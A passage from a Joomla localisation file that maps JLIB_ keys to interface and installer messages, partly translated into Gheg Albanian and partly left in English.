dokumentin" JLIB_FILESYSTEM_ERROR_FIND_SOURCE_FOLDER="Cannot find source folder" JLIB_FILESYSTEM_ERROR_FOLDER_EXISTS="Folder already exists" JLIB_FILESYSTEM_ERROR_FOLDER_CREATE="Unable to create target folder" JLIB_FILESYSTEM_ERROR_FOLDER_OPEN="Unable to open source folder" JLIB_FILESYSTEM_ERROR_FOLDER_LOOP="Infinite loop detected" JLIB_FILESYSTEM_ERROR_FOLDER_PATH="Path not in open_basedir paths" JLIB_FILESYSTEM_ERROR_COULD_NOT_CREATE_DIRECTORY="Direktoria s'mund të krijohet" JLIB_FILESYSTEM_ERROR_DELETE_BASE_DIRECTORY="S'mund ta fshish nji direktori themelore." JLIB_FILESYSTEM_ERROR_PATH_IS_NOT_A_FOLDER="JFolder: :delete: Path is not a folder. Path: %s" JLIB_FILESYSTEM_ERROR_FOLDER_DELETE="JFolder: :delete: Could not delete folder. Path: %s" JLIB_FILESYSTEM_ERROR_FOLDER_RENAME="Rename failed: %s" JLIB_FILESYSTEM_ERROR_PATH_IS_NOT_A_FOLDER_FILES="JFolder: :files: Path is not a folder. Path: %s" JLIB_FILESYSTEM_ERROR_PATH_IS_NOT_A_FOLDER_FOLDER="JFolder: :folder: Path is not a folder. Path: %s" JLIB_FILESYSTEM_ERROR_STREAMS_FILE_SIZE="Failed to get file size. This may not work for all streams!" JLIB_FILESYSTEM_ERROR_STREAMS_FILE_NOT_OPEN="File not open" JLIB_FILESYSTEM_ERROR_STREAMS_FILENAME="Filename not set" JLIB_FILESYSTEM_ERROR_NO_DATA_WRITTEN="Warning: No data written" JLIB_FILESYSTEM_ERROR_STREAMS_FAILED_TO_OPEN_WRITER="Failed to open writer: %s" JLIB_FILESYSTEM_ERROR_STREAMS_FAILED_TO_OPEN_READER="Failed to open reader: %s" JLIB_FILESYSTEM_ERROR_STREAMS_NOT_UPLOADED_FILE="Not an uploaded file!" JLIB_FORM_BUTTON_SELECT="Zgjidh" JLIB_FORM_BUTTON_CLEAR="Clear" JLIB_FORM_ERROR_FIELDS_CATEGORY_ERROR_EXTENSION_EMPTY="Extension attribute is empty in the category field" JLIB_FORM_ERROR_FIELDS_GROUPEDLIST_ELEMENT_NAME="Unknown element type: %s" JLIB_FORM_ERROR_NO_DATA="No data" JLIB_FORM_ERROR_VALIDATE_FIELD="Invalid xml field" JLIB_FORM_ERROR_XML_FILE_DID_NOT_LOAD="XML file did not load" JLIB_FORM_CHANGE_IMAGE="Change image" JLIB_FORM_CHANGE_IMAGE_BUTTON="Change Image Button" JLIB_FORM_VALUE_CACHE_APC="Alternative PHP Cache" JLIB_FORM_VALUE_CACHE_CACHELITE="Cache_Lite" JLIB_FORM_VALUE_CACHE_EACCELERATOR="eAccelerator" JLIB_FORM_VALUE_CACHE_FILE="Dokumenti" JLIB_FORM_VALUE_CACHE_MEMCACHE="Memcache" JLIB_FORM_VALUE_CACHE_XCACHE="XCache" JLIB_FORM_VALUE_CACHE_WINCACHE="Windows Cache" JLIB_FORM_VALUE_SESSION_APC="Alternative PHP Cache" JLIB_FORM_VALUE_SESSION_DATABASE="Databaza" JLIB_FORM_VALUE_SESSION_EACCELERATOR="eAccelerator" JLIB_FORM_VALUE_SESSION_MEMCACHE="Memcache" JLIB_FORM_VALUE_SESSION_NONE="Asnji" JLIB_FORM_VALUE_SESSION_XCACHE="XCache" JLIB_FORM_VALUE_SESSION_WINCACHE="Windows Cache" JLIB_FORM_VALUE_TIMEZONE_UTC="Universal Time, Coordinated (UTC)" JLIB_FORM_SELECT_USER="Select a User" JLIB_FORM_CHANGE_USER="Zgjidh përdoruesin" JLIB_FORM_INVALID_FORM_RULE="Invalid Form Rule: :%s" JLIB_FORM_INVALID_FORM_OBJECT="Invalid Form Object: :%s" JLIB_FORM_VALIDATE_FIELD_REQUIRED="Field required: %s" JLIB_FORM_VALIDATE_FIELD_RULE_MISSING="Validation Rule missing: %s" JLIB_FORM_VALIDATE_FIELD_INVALID="Invalid field: %s" JLIB_HTML_ACCESS_MODIFY_DESC_CAPTION_ACL="ACL" JLIB_HTML_ACCESS_MODIFY_DESC_CAPTION_TABLE="Tabela" JLIB_HTML_ACCESS_SUMMARY_DESC_CAPTION="ACL Summary Table" JLIB_HTML_ACCESS_SUMMARY_DESC="Shown below is an overview of the permission settings for this article. Click the tabs above to customise these settings by action." JLIB_HTML_ACCESS_SUMMARY="Summary" JLIB_HTML_ADD_TO_ROOT="Add to root" JLIB_HTML_ADD_TO_THIS_MENU="Add to this menu" JLIB_HTML_BATCH_ACCESS_LABEL="Set Access Level" JLIB_HTML_BATCH_ACCESS_LABEL_DESC="Not making a selection will keep the original access levels when processing." JLIB_HTML_BATCH_COPY="Kopjo" JLIB_HTML_BATCH_LANGUAGE_LABEL="Set Language" JLIB_HTML_BATCH_LANGUAGE_LABEL_DESC="Not making a selection will keep the original language when processing." JLIB_HTML_BATCH_LANGUAGE_NOCHANGE="- Keep original Language -" JLIB_HTML_BATCH_MENU_LABEL="Select Category for Move/Copy" JLIB_HTML_BATCH_MOVE="Zhvendos" JLIB_HTML_BATCH_NOCHANGE="- Keep original Access Levels -" JLIB_HTML_BATCH_USER_LABEL="Set User" JLIB_HTML_BATCH_USER_LABEL_DESC="Not making a selection will keep the original user when processing." JLIB_HTML_BATCH_USER_NOCHANGE="- Keep original User -" JLIB_HTML_BATCH_USER_NOUSER="S'ka përdorues" JLIB_HTML_BEHAVIOR_ABOUT_THE_CALENDAR="Mbi kalendarin" JLIB_HTML_BEHAVIOR_CLOSE="Mbylle" JLIB_HTML_BEHAVIOR_DATE_SELECTION="Date selection:\n" JLIB_HTML_BEHAVIOR_DISPLAY_S_FIRST="Trego %s n'fillim" JLIB_HTML_BEHAVIOR_DRAG_TO_MOVE="Tërhiq me lëvizë" JLIB_HTML_BEHAVIOR_GO_TODAY="Shko sot" JLIB_HTML_BEHAVIOR_GREEN="Jeshile" JLIB_HTML_BEHAVIOR_HOLD_MOUSE="- Hold mouse button on any of the above buttons for faster selection." JLIB_HTML_BEHAVIOR_MONTH_SELECT="- Use the < and > buttons to select month\n" JLIB_HTML_BEHAVIOR_NEXT_MONTH_HOLD_FOR_MENU="Shtyp me shkue te mueji tjetër. Shtyp e mbaje për listë muejsh." JLIB_HTML_BEHAVIOR_NEXT_YEAR_HOLD_FOR_MENU="Shtyp me shkue te viti tjetër. Shtyp e mbaje për listë vitesh." JLIB_HTML_BEHAVIOR_PREV_MONTH_HOLD_FOR_MENU="Shtyp me shkue te mueji paraardhës. Shtyp e mbaje për listë muejsh." JLIB_HTML_BEHAVIOR_PREV_YEAR_HOLD_FOR_MENU="Shtyp me shkue te viti paraardhës. Shtyp e mbaje për listë vitesh." JLIB_HTML_BEHAVIOR_SELECT_DATE="Zgjidh nji datë." JLIB_HTML_BEHAVIOR_SHIFT_CLICK_OR_DRAG_TO_CHANGE_VALUE="(Shift-)Shtyp ose tërhiq me ndryshue vlerën." JLIB_HTML_BEHAVIOR_TIME="Ora:" JLIB_HTML_BEHAVIOR_TODAY="sot" JLIB_HTML_BEHAVIOR_TT_DATE_FORMAT="%A, %B %e" JLIB_HTML_BEHAVIOR_WK="jv" JLIB_HTML_BEHAVIOR_YEAR_SELECT="- Use the « and » buttons to select year\n" JLIB_HTML_BEHAVIOR_UPLOADER_ERROR_HTTPSTATUS="Invalid Server Response" JLIB_HTML_BEHAVIOR_UPLOADER_ERROR_IOERROR="Transfer Error" JLIB_HTML_BEHAVIOR_UPLOADER_ERROR_SECURITYERROR="Security Error" JLIB_HTML_BEHAVIOR_UPLOADER_UPLOAD_COMPLETED="Upload Completed." JLIB_HTML_BEHAVIOR_UPLOADER_FILE_SUCCESSFULLY_UPLOADED="File Successfully Uploaded." JLIB_HTML_BEHAVIOR_UPLOADER_ERROR_OCCURRED="An Error Occurred: {error}" JLIB_HTML_BEHAVIOR_UPLOADER_ALL_FILES="All Files (*.*)" JLIB_HTML_BEHAVIOR_UPLOADER_PROGRESS_OVERALL="Overall Progress {total}" JLIB_HTML_BEHAVIOR_UPLOADER_CURRENT_TITLE="Ngarko dokumentat" JLIB_HTML_BEHAVIOR_UPLOADER_REMOVE="Hiq" JLIB_HTML_BEHAVIOR_UPLOADER_REMOVE_TITLE="Remove Title" JLIB_HTML_BEHAVIOR_UPLOADER_FILENAME="{name}" JLIB_HTML_BEHAVIOR_UPLOADER_CURRENT_FILE="Current File: {name}" JLIB_HTML_BEHAVIOR_UPLOADER_CURRENT_PROGRESS="Current Progress" JLIB_HTML_BEHAVIOR_UPLOADER_FILE_ERROR="File Error" JLIB_HTML_BEHAVIOR_UPLOADER_VALIDATION_ERROR_DUPLICATE="File Already Exists" JLIB_HTML_BEHAVIOR_UPLOADER_VALIDATION_ERROR_FILELISTMAX="Too Many Files" JLIB_HTML_BEHAVIOR_UPLOADER_VALIDATION_ERROR_FILELISTSIZEMAX="Total Upload Size Too Large" JLIB_HTML_BEHAVIOR_UPLOADER_VALIDATION_ERROR_SIZELIMITMAX="File is Too Big" JLIB_HTML_BEHAVIOR_UPLOADER_VALIDATION_ERROR_SIZELIMITMIN="File is Too Small" JLIB_HTML_BUTTON_BASE_CLASS="Could not load button base class." JLIB_HTML_BUTTON_NO_LOAD="Could not load button %s (%s);" JLIB_HTML_BUTTON_NOT_DEFINED="Button not defined for type = %s" JLIB_HTML_CALENDAR="Kalendari" JLIB_HTML_CHECKED_OUT="Miratue" JLIB_HTML_CHECKIN="Checkin" JLIB_HTML_CLOAKING="This email address is being protected from spambots. You need JavaScript enabled to view it." JLIB_HTML_DATE_RELATIVE_DAYS="%s days ago" JLIB_HTML_DATE_RELATIVE_DAYS_1="%s day ago" JLIB_HTML_DATE_RELATIVE_DAYS_0="%s days ago" JLIB_HTML_DATE_RELATIVE_HOURS="%s hours ago" JLIB_HTML_DATE_RELATIVE_HOURS_1="%s hour ago" JLIB_HTML_DATE_RELATIVE_HOURS_0="%s hours ago" JLIB_HTML_DATE_RELATIVE_LESSTHANAMINUTE="Less than a minute ago" JLIB_HTML_DATE_RELATIVE_MINUTES="%s minutes ago" JLIB_HTML_DATE_RELATIVE_MINUTES_1="%s minute ago" JLIB_HTML_DATE_RELATIVE_MINUTES_0="%s minutes ago" JLIB_HTML_DATE_RELATIVE_WEEKS="%s weeks ago" JLIB_HTML_DATE_RELATIVE_WEEKS_1="%s week ago" JLIB_HTML_DATE_RELATIVE_WEEKS_0="%s weeks ago" JLIB_HTML_EDITOR_CANNOT_LOAD="Cannot load the editor" JLIB_HTML_END="Fund" JLIB_HTML_ERROR_FUNCTION_NOT_SUPPORTED="Function not supported." JLIB_HTML_ERROR_NOTFOUNDINFILE="%s: :%s not found in file." JLIB_HTML_ERROR_NOTSUPPORTED_NOFILE="%s: :%s not supported. File not found." JLIB_HTML_ERROR_NOTSUPPORTED="%s: :%s not supported." JLIB_HTML_MOVE_DOWN="Ule" JLIB_HTML_MOVE_UP="Ngreje" JLIB_HTML_NO_PARAMETERS_FOR_THIS_ITEM="There are no parameters for this item" JLIB_HTML_NO_RECORDS_FOUND="No record found" JLIB_HTML_PAGE_CURRENT_OF_TOTAL="Faqe %s nga %s" JLIB_HTML_PLEASE_MAKE_A_SELECTION_FROM_THE_LIST="Please first make a selection from the list" JLIB_HTML_PUBLISH_ITEM="Botoje sendin" JLIB_HTML_PUBLISHED_EXPIRED_ITEM="Published, but has Expired" JLIB_HTML_PUBLISHED_FINISHED="Finish: %s" JLIB_HTML_PUBLISHED_ITEM="Published and is Current" JLIB_HTML_PUBLISHED_PENDING_ITEM="Published, but is Pending" JLIB_HTML_PUBLISHED_START="Start: %s" JLIB_HTML_RESULTS_OF="Rezultatet %s - %s nga %s" JLIB_HTML_SAVE_ORDER="Rendi i ruejtjes" JLIB_HTML_SELECT_STATE="Zgjidh gjendjen" JLIB_HTML_START="Fillo" JLIB_HTML_UNPUBLISH_ITEM="Hiqe sendin nga botimi" JLIB_HTML_VIEW_ALL="Shihi krejt" JLIB_HTML_SETDEFAULT_ITEM="Set default" JLIB_HTML_UNSETDEFAULT_ITEM="Unset default" JLIB_INSTALLER_ABORT="Aborting language installation: %s" JLIB_INSTALLER_ABORT_ALREADYINSTALLED="Extension is already installed" JLIB_INSTALLER_ABORT_COMP_BUILDADMINMENUS_FAILED="Error building Admin Menus" JLIB_INSTALLER_ABORT_COMP_INSTALL_COPY_SETUP="Component Install: Could not copy setup file." JLIB_INSTALLER_ABORT_COMP_INSTALL_CUSTOM_INSTALL_FAILURE="Component Install: Custom install routine failure" JLIB_INSTALLER_ABORT_COMP_INSTALL_MANIFEST="Component Install: Could not copy PHP manifest file." JLIB_INSTALLER_ABORT_COMP_INSTALL_PHP_INSTALL="Component Install: Could not copy PHP install file." JLIB_INSTALLER_ABORT_COMP_INSTALL_PHP_UNINSTALL="Component Install: Could not copy PHP uninstall file." JLIB_INSTALLER_ABORT_COMP_INSTALL_ROLLBACK="Component Install: %s" JLIB_INSTALLER_ABORT_COMP_INSTALL_SQL_ERROR="Component Install: SQL error file %s" JLIB_INSTALLER_ABORT_COMP_UPDATE_ADMIN_ELEMENT="Component Update: The XML file did not contain an administration element" JLIB_INSTALLER_ABORT_COMP_UPDATE_COPY_SETUP="Component Update: Could not copy setup file." JLIB_INSTALLER_ABORT_COMP_UPDATE_MANIFEST="Component Update: Could not copy PHP manifest file." JLIB_INSTALLER_ABORT_COMP_UPDATE_PHP_INSTALL="Component Update: Could not copy PHP install file." JLIB_INSTALLER_ABORT_COMP_UPDATE_PHP_UNINSTALL="Component Update: Could not copy PHP uninstall file." JLIB_INSTALLER_ABORT_COMP_UPDATE_ROLLBACK="Component Update: %s" JLIB_INSTALLER_ABORT_COMP_UPDATE_SQL_ERROR="Component Update: SQL error file %s" JLIB_INSTALLER_ABORT_DEBUG="Installation unexpectedly terminated:" JLIB_INSTALLER_ABORT_DETECTMANIFEST="Unable to detect manifest file" JLIB_INSTALLER_ABORT_EXTENSIONNOTVALID="Extension is not valid" JLIB_INSTALLER_ABORT_FILE_INSTALL_COPY_SETUP="Files Install: Could not copy setup file." JLIB_INSTALLER_ABORT_FILE_INSTALL_CUSTOM_INSTALL_FAILURE="Files Install: Custom install routine failure" JLIB_INSTALLER_ABORT_FILE_INSTALL_FAIL_SOURCE_DIRECTORY="Files Install: Failed to find source directory: %s" JLIB_INSTALLER_ABORT_FILE_INSTALL_ROLLBACK="Files Install: %s" JLIB_INSTALLER_ABORT_FILE_INSTALL_SQL_ERROR="Files %1$s: SQL error file %2$s" JLIB_INSTALLER_ABORT_FILE_ROLLBACK="Files Install: %s" JLIB_INSTALLER_ABORT_FILE_SAME_NAME="Files Install: Another extension with same name already exists." JLIB_INSTALLER_ABORT_FILE_UPDATE_SQL_ERROR="Files Update: SQL error file %s" JLIB_INSTALLER_ABORT_LIB_INSTALL_ALREADY_INSTALLED="Library Install: Library already installed" JLIB_INSTALLER_ABORT_LIB_INSTALL_COPY_SETUP="Library Install: Could not copy setup file." JLIB_INSTALLER_ABORT_LIB_INSTALL_FAILED_TO_CREATE_DIRECTORY="Library Install: Failed to create directory: %s" JLIB_INSTALLER_ABORT_LIB_INSTALL_NOFILE="Library Install: No library file specified" JLIB_INSTALLER_ABORT_LIB_INSTALL_ROLLBACK="Library Install: %s" JLIB_INSTALLER_ABORT_LOAD_DETAILS="Failed to load extension details" JLIB_INSTALLER_ABORT_METHODNOTSUPPORTED="Method not supported for this extension type" JLIB_INSTALLER_ABORT_METHODNOTSUPPORTED_TYPE="Method not supported for this extension type: %s" JLIB_INSTALLER_ABORT_MOD_INSTALL_COPY_SETUP="Module Install: Could not copy setup file." JLIB_INSTALLER_ABORT_MOD_INSTALL_CREATE_DIRECTORY="Module %1$s: Failed to create directory: %2$s" JLIB_INSTALLER_ABORT_MOD_INSTALL_CUSTOM_INSTALL_FAILURE="Module Install: Custom install routine failure" JLIB_INSTALLER_ABORT_MOD_INSTALL_DIRECTORY="Module %1$s: Another module is already using directory: %2$s" JLIB_INSTALLER_ABORT_MOD_INSTALL_MANIFEST="Module Install: Could not copy PHP manifest file." JLIB_INSTALLER_ABORT_MOD_INSTALL_NOFILE="Module %s: No module file specified" JLIB_INSTALLER_ABORT_MOD_INSTALL_SQL_ERROR="Module %1$s: SQL error file %2$s" JLIB_INSTALLER_ABORT_MOD_ROLLBACK="Module %1$s: %2$s" JLIB_INSTALLER_ABORT_MOD_UNINSTALL_UNKNOWN_CLIENT="Module Uninstall: Unknown client type [%s]" JLIB_INSTALLER_ABORT_MOD_UNKNOWN_CLIENT="Module %1$s: Unknown client type [%2$s]" JLIB_INSTALLER_ABORT_NOINSTALLPATH="Install path does not exist" JLIB_INSTALLER_ABORT_NOUPDATEPATH="Update path does not exist" JLIB_INSTALLER_ABORT_PACK_INSTALL_COPY_SETUP="Package Install: Could not copy setup file." JLIB_INSTALLER_ABORT_PACK_INSTALL_CREATE_DIRECTORY="Package Install: Failed to create directory:%s " JLIB_INSTALLER_ABORT_PACK_INSTALL_ERROR_EXTENSION="Package %1$s: There was an error installing an extension: %2$s" JLIB_INSTALLER_ABORT_PACK_INSTALL_NO_FILES="Package %s: There were no files to install!" JLIB_INSTALLER_ABORT_PACK_INSTALL_NO_PACK="Package %s: No package file specified" JLIB_INSTALLER_ABORT_PACK_INSTALL_ROLLBACK="Package Install: %s" JLIB_INSTALLER_ABORT_PLG_INSTALL_ALLREADY_EXISTS="Plugin %1$s: Plugin %2$s already exists" JLIB_INSTALLER_ABORT_PLG_INSTALL_COPY_SETUP="Plugin %s: Could not copy setup file." JLIB_INSTALLER_ABORT_PLG_INSTALL_CREATE_DIRECTORY="Plugin %1$s: Failed to create directory: %2$s" JLIB_INSTALLER_ABORT_PLG_INSTALL_CUSTOM_INSTALL_FAILURE="Plugin Install: Custom install routine failure" JLIB_INSTALLER_ABORT_PLG_INSTALL_DIRECTORY="Plugin %1$s: Another plugin is already using directory: %2$s" JLIB_INSTALLER_ABORT_PLG_INSTALL_MANIFEST="Plugin %s: Could not copy PHP manifest file." JLIB_INSTALLER_ABORT_PLG_INSTALL_NO_FILE="Plugin %s: No plugin file specified" JLIB_INSTALLER_ABORT_PLG_INSTALL_ROLLBACK="Plugin %1$s: %2$s" JLIB_INSTALLER_ABORT_PLG_INSTALL_SQL_ERROR="Plugin %1$s: SQL error file %2$s" JLIB_INSTALLER_ABORT_PLG_UNINSTALL_SQL_ERROR="Plugin Uninstall: SQL error file %s" JLIB_INSTALLER_ABORT_REFRESH_MANIFEST_CACHE="Refresh Manifest Cache failed: Extension is not currently installed." JLIB_INSTALLER_ABORT_REFRESH_MANIFEST_CACHE_VALID="Refresh Manifest Cache failed: Extension is not valid." JLIB_INSTALLER_ABORT_TPL_INSTALL_ALREADY_INSTALLED="Template Install: Template already installed" JLIB_INSTALLER_ABORT_TPL_INSTALL_ANOTHER_TEMPLATE_USING_DIRECTORY="Template Install: There is already a Template using the named directory: %s. Are you trying to install the same template again?" JLIB_INSTALLER_ABORT_TPL_INSTALL_COPY_SETUP="Template Install: Could not copy setup file." JLIB_INSTALLER_ABORT_TPL_INSTALL_FAILED_CREATE_DIRECTORY="Template Install: Failed to create directory: %s" JLIB_INSTALLER_ABORT_TPL_INSTALL_ROLLBACK="Template Install: %s" JLIB_INSTALLER_ABORT_TPL_INSTALL_UNKNOWN_CLIENT="Template Install: Unknown client type [%s]" JLIB_INSTALLER_DEFAULT_STYLE="%s - Default" JLIB_INSTALLER_DISCOVER="Discover" JLIB_INSTALLER_ERROR_COMP_DISCOVER_STORE_DETAILS="Component Discover install: Failed to store component details" JLIB_INSTALLER_ERROR_COMP_INSTALL_ADMIN_ELEMENT="Component Install: The XML file did not contain an administration element" JLIB_INSTALLER_ERROR_COMP_INSTALL_DIR_ADMIN="Component Install: Another component is already using directory: %s" JLIB_INSTALLER_ERROR_COMP_INSTALL_DIR_SITE="Component Install: Another component is already using directory: %s" JLIB_INSTALLER_ERROR_COMP_INSTALL_FAILED_TO_CREATE_DIRECTORY_ADMIN="Component Install: Failed to create admin directory: %s" JLIB_INSTALLER_ERROR_COMP_INSTALL_FAILED_TO_CREATE_DIRECTORY_SITE="Component Install: Failed to create site directory: %s" JLIB_INSTALLER_ERROR_COMP_REFRESH_MANIFEST_CACHE="Component Refresh manifest cache: Failed to store component details" JLIB_INSTALLER_ERROR_COMP_REMOVING_ADMIN_MENUS_FAILED="Could not delete the administrator menus." JLIB_INSTALLER_ERROR_COMP_UNINSTALL_CUSTOM="Component Uninstall: Custom Uninstall script unsuccessful" JLIB_INSTALLER_ERROR_COMP_UNINSTALL_FAILED_DELETE_CATEGORIES="Component Uninstall: Unable to delete the component categories" JLIB_INSTALLER_ERROR_COMP_UNINSTALL_ERRORREMOVEMANUALLY="Component Uninstall: Can't uninstall. Please remove manually" JLIB_INSTALLER_ERROR_COMP_UNINSTALL_ERRORUNKOWNEXTENSION="Component Uninstall: Unknown Extension" JLIB_INSTALLER_ERROR_COMP_UNINSTALL_FAILED_REMOVE_DIRECTORY_ADMIN="Component Uninstall: Unable to remove the component admin directory" JLIB_INSTALLER_ERROR_COMP_UNINSTALL_FAILED_REMOVE_DIRECTORY_SITE="Component Uninstall: Unable to remove the component site directory" JLIB_INSTALLER_ERROR_COMP_UNINSTALL_NO_OPTION="Component Uninstall: Option field empty, cannot remove files" JLIB_INSTALLER_ERROR_COMP_UNINSTALL_SQL_ERROR="Component Uninstall: SQL error file %s" JLIB_INSTALLER_ERROR_COMP_UNINSTALL_WARNCORECOMPONENT="Component Uninstall: Trying to uninstall a core component" JLIB_INSTALLER_ERROR_COMP_UPDATE_FAILED_TO_CREATE_DIRECTORY_ADMIN="Component Update: Failed to create admin directory: %s" JLIB_INSTALLER_ERROR_COMP_UPDATE_FAILED_TO_CREATE_DIRECTORY_SITE="Component Update: Failed to create site directory: %s" JLIB_INSTALLER_ERROR_CREATE_DIRECTORY="JInstaller: :Install: Failed to create directory: %s" JLIB_INSTALLER_ERROR_CREATE_FOLDER_FAILED="Failed to create directory [%s]" JLIB_INSTALLER_ERROR_DEPRECATED_FORMAT="Deprecated install format (client="_QQ_"both"_QQ_"), use package installer in future" JLIB_INSTALLER_ERROR_DOWNLOAD_SERVER_CONNECT="Error connecting to the server: %s" JLIB_INSTALLER_ERROR_FAIL_COPY_FILE="JInstaller: :Install: Failed to copy file %1$s to %2$s" JLIB_INSTALLER_ERROR_FAIL_COPY_FOLDER="JInstaller: :Install: Failed to copy folder %1$s to %2$s" JLIB_INSTALLER_ERROR_FAILED_READING_NETWORK_RESOURCES="Failed reading network resource: %s" JLIB_INSTALLER_ERROR_FILE_EXISTS="JInstaller: :Install: File already exists %s" JLIB_INSTALLER_ERROR_FILE_UNINSTALL_INVALID_MANIFEST="Files Uninstall: Invalid manifest file" JLIB_INSTALLER_ERROR_FILE_UNINSTALL_INVALID_NOTFOUND_MANIFEST="Files Uninstall: Manifest file invalid or not found." JLIB_INSTALLER_ERROR_FILE_UNINSTALL_LOAD_ENTRY="Files Uninstall: Could not load extension entry" JLIB_INSTALLER_ERROR_FILE_UNINSTALL_LOAD_MANIFEST="Files Uninstall: Could not load manifest file" JLIB_INSTALLER_ERROR_FILE_UNINSTALL_SQL_ERROR="Files Uninstall: SQL error file %s" JLIB_INSTALLER_ERROR_FILE_UNINSTALL_WARNCOREFILE="File Uninstall: Trying to uninstall core files" JLIB_INSTALLER_ERROR_FOLDER_IN_USE="Another extension is already using directory [%s]" JLIB_INSTALLER_ERROR_LANG_DISCOVER_STORE_DETAILS="Language Discover install: Failed to store language details" JLIB_INSTALLER_ERROR_LANG_UNINSTALL_DEFAULT="This language can't be uninstalled as long as it is defined as a default language." JLIB_INSTALLER_ERROR_LANG_UNINSTALL_DIRECTORY="Language Uninstall: Unable to remove the specified Language directory." JLIB_INSTALLER_ERROR_LANG_UNINSTALL_ELEMENT_EMPTY="Language Uninstall: Element is empty, cannot uninstall files" JLIB_INSTALLER_ERROR_LANG_UNINSTALL_PATH_EMPTY="Language Uninstall: Language path is empty, cannot uninstall files" JLIB_INSTALLER_ERROR_LANG_UNINSTALL_PROTECTED="This language can't be uninstalled. It is protected in the database (usually en-GB)" JLIB_INSTALLER_ERROR_LIB_DISCOVER_STORE_DETAILS="Library Discover install: Failed to store library details" JLIB_INSTALLER_ERROR_LIB_UNINSTALL_INVALID_MANIFEST="Library Uninstall: Invalid manifest file" JLIB_INSTALLER_ERROR_LIB_UNINSTALL_INVALID_NOTFOUND_MANIFEST="Library Uninstall: Manifest file invalid or not found." JLIB_INSTALLER_ERROR_LIB_UNINSTALL_LOAD_MANIFEST="Library Uninstall: Could not load manifest file" JLIB_INSTALLER_ERROR_LIB_UNINSTALL_WARNCORELIBRARY="Library Uninstall: Trying to uninstall a core library" JLIB_INSTALLER_ERROR_LOAD_XML="JInstaller: :Install: Failed to load XML File: %s" JLIB_INSTALLER_ERROR_MOD_DISCOVER_STORE_DETAILS="Module Discover install: Failed to store module details" JLIB_INSTALLER_ERROR_MOD_REFRESH_MANIFEST_CACHE="Module Refresh manifest cache: Failed to store module details" JLIB_INSTALLER_ERROR_MOD_UNINSTALL_ERRORUNKOWNEXTENSION="Module Uninstall: Unknown Extension" JLIB_INSTALLER_ERROR_MOD_UNINSTALL_EXCEPTION="Module Uninstall: %s" JLIB_INSTALLER_ERROR_MOD_UNINSTALL_INVALID_NOTFOUND_MANIFEST="Module Uninstall: Manifest file invalid or not found." JLIB_INSTALLER_ERROR_MOD_UNINSTALL_SQL_ERROR="Module Uninstall: SQL error file %s" JLIB_INSTALLER_ERROR_MOD_UNINSTALL_WARNCOREMODULE="Module Uninstall: Trying to uninstall a core module: %s" JLIB_INSTALLER_ERROR_NO_CORE_LANGUAGE="No core pack exists for the language [%s]" JLIB_INSTALLER_ERROR_NO_FILE="JInstaller: :Install: File does not exist %s" JLIB_INSTALLER_ERROR_NO_LANGUAGE_TAG="Paketa nuk specifikoi nji tag gjuhe. A po përpiqesh me instalue nji paketë të vjetër gjuhe?" JLIB_INSTALLER_ERROR_NOTFINDJOOMLAXMLSETUPFILE="JInstaller: :Install: Cannot find Joomla XML setup file" JLIB_INSTALLER_ERROR_NOTFINDXMLSETUPFILE="JInstaller: :Install: Cannot find XML setup file" JLIB_INSTALLER_ERROR_PACK_UNINSTALL_INVALID_MANIFEST="Package Uninstall: Invalid manifest file" JLIB_INSTALLER_ERROR_PACK_UNINSTALL_INVALID_NOTFOUND_MANIFEST="Package Uninstall: Manifest file invalid or not found: %s" JLIB_INSTALLER_ERROR_PACK_UNINSTALL_LOAD_MANIFEST="Package Uninstall: Could not load manifest file" JLIB_INSTALLER_ERROR_PACK_UNINSTALL_MANIFEST_NOT_REMOVED="Package Uninstall: Errors were detected, manifest file not removed!" JLIB_INSTALLER_ERROR_PACK_UNINSTALL_MISSINGMANIFEST="Package Uninstall: Missing manifest file" JLIB_INSTALLER_ERROR_PACK_UNINSTALL_NOT_PROPER="Package Uninstall: This extension may have already been uninstalled or might not have been uninstall properly: %s" JLIB_INSTALLER_ERROR_PACK_UNINSTALL_WARNCOREPACK="Package Uninstall: Trying to uninstall core package" JLIB_INSTALLER_ERROR_PLG_DISCOVER_STORE_DETAILS="Plugin Discover install: Failed to store plugin details" JLIB_INSTALLER_ERROR_PLG_REFRESH_MANIFEST_CACHE="Plugin Refresh manifest cache: Failed to store plugin details" JLIB_INSTALLER_ERROR_PLG_UNINSTALL_ERRORUNKOWNEXTENSION="Plugin Uninstall: Unknown Extension" JLIB_INSTALLER_ERROR_PLG_UNINSTALL_FOLDER_FIELD_EMPTY="Plugin Uninstall: Folder field empty, cannot remove files" JLIB_INSTALLER_ERROR_PLG_UNINSTALL_INVALID_MANIFEST="Plugin Uninstall: Invalid manifest file" JLIB_INSTALLER_ERROR_PLG_UNINSTALL_INVALID_NOTFOUND_MANIFEST="Plugin Uninstall: Manifest file invalid or not found." JLIB_INSTALLER_ERROR_PLG_UNINSTALL_LOAD_MANIFEST="Plugin Uninstall: Could not load manifest file" JLIB_INSTALLER_ERROR_PLG_UNINSTALL_WARNCOREPLUGIN="Plugin Uninstall: Trying to uninstall a core plugin: %s" JLIB_INSTALLER_ERROR_SQL_ERROR="JInstaller: :Install: Error SQL %s" JLIB_INSTALLER_ERROR_SQL_FILENOTFOUND="JInstaller: :Install: SQL File not found %s" JLIB_INSTALLER_ERROR_SQL_READBUFFER="JInstaller: :Install: SQL File Buffer Read Error" JLIB_INSTALLER_ERROR_TPL_DISCOVER_STORE_DETAILS="Template Discover install: Failed to store template details" JLIB_INSTALLER_ERROR_TPL_UNINSTALL_ERRORUNKOWNEXTENSION="Template Uninstall: Unknown Extension" JLIB_INSTALLER_ERROR_TPL_UNINSTALL_INVALID_CLIENT="Template Uninstall: Invalid client." JLIB_INSTALLER_ERROR_TPL_UNINSTALL_INVALID_NOTFOUND_MANIFEST="Template Uninstall: Manifest file invalid or not found." JLIB_INSTALLER_ERROR_TPL_UNINSTALL_TEMPLATE_DEFAULT="Template Uninstall: Cannot remove default template." JLIB_INSTALLER_ERROR_TPL_UNINSTALL_TEMPLATE_DIRECTORY="Template Uninstall: Directory does not exist, cannot remove files" JLIB_INSTALLER_ERROR_TPL_UNINSTALL_TEMPLATE_ID_EMPTY="Template Uninstall: Template ID is empty, cannot uninstall files" JLIB_INSTALLER_ERROR_TPL_UNINSTALL_WARNCORETEMPLATE="Template Uninstall: Trying to uninstall a core template: %s" JLIB_INSTALLER_ERROR_UNKNOWN_CLIENT_TYPE="Unknown Client Type [%s]" JLIB_INSTALLER_INSTALL="Instalo" JLIB_INSTALLER_NOTICE_LANG_RESET_USERS="Language set to Default for %d users" JLIB_INSTALLER_NOTICE_LANG_RESET_USERS_1="Language set to Default for %d user" 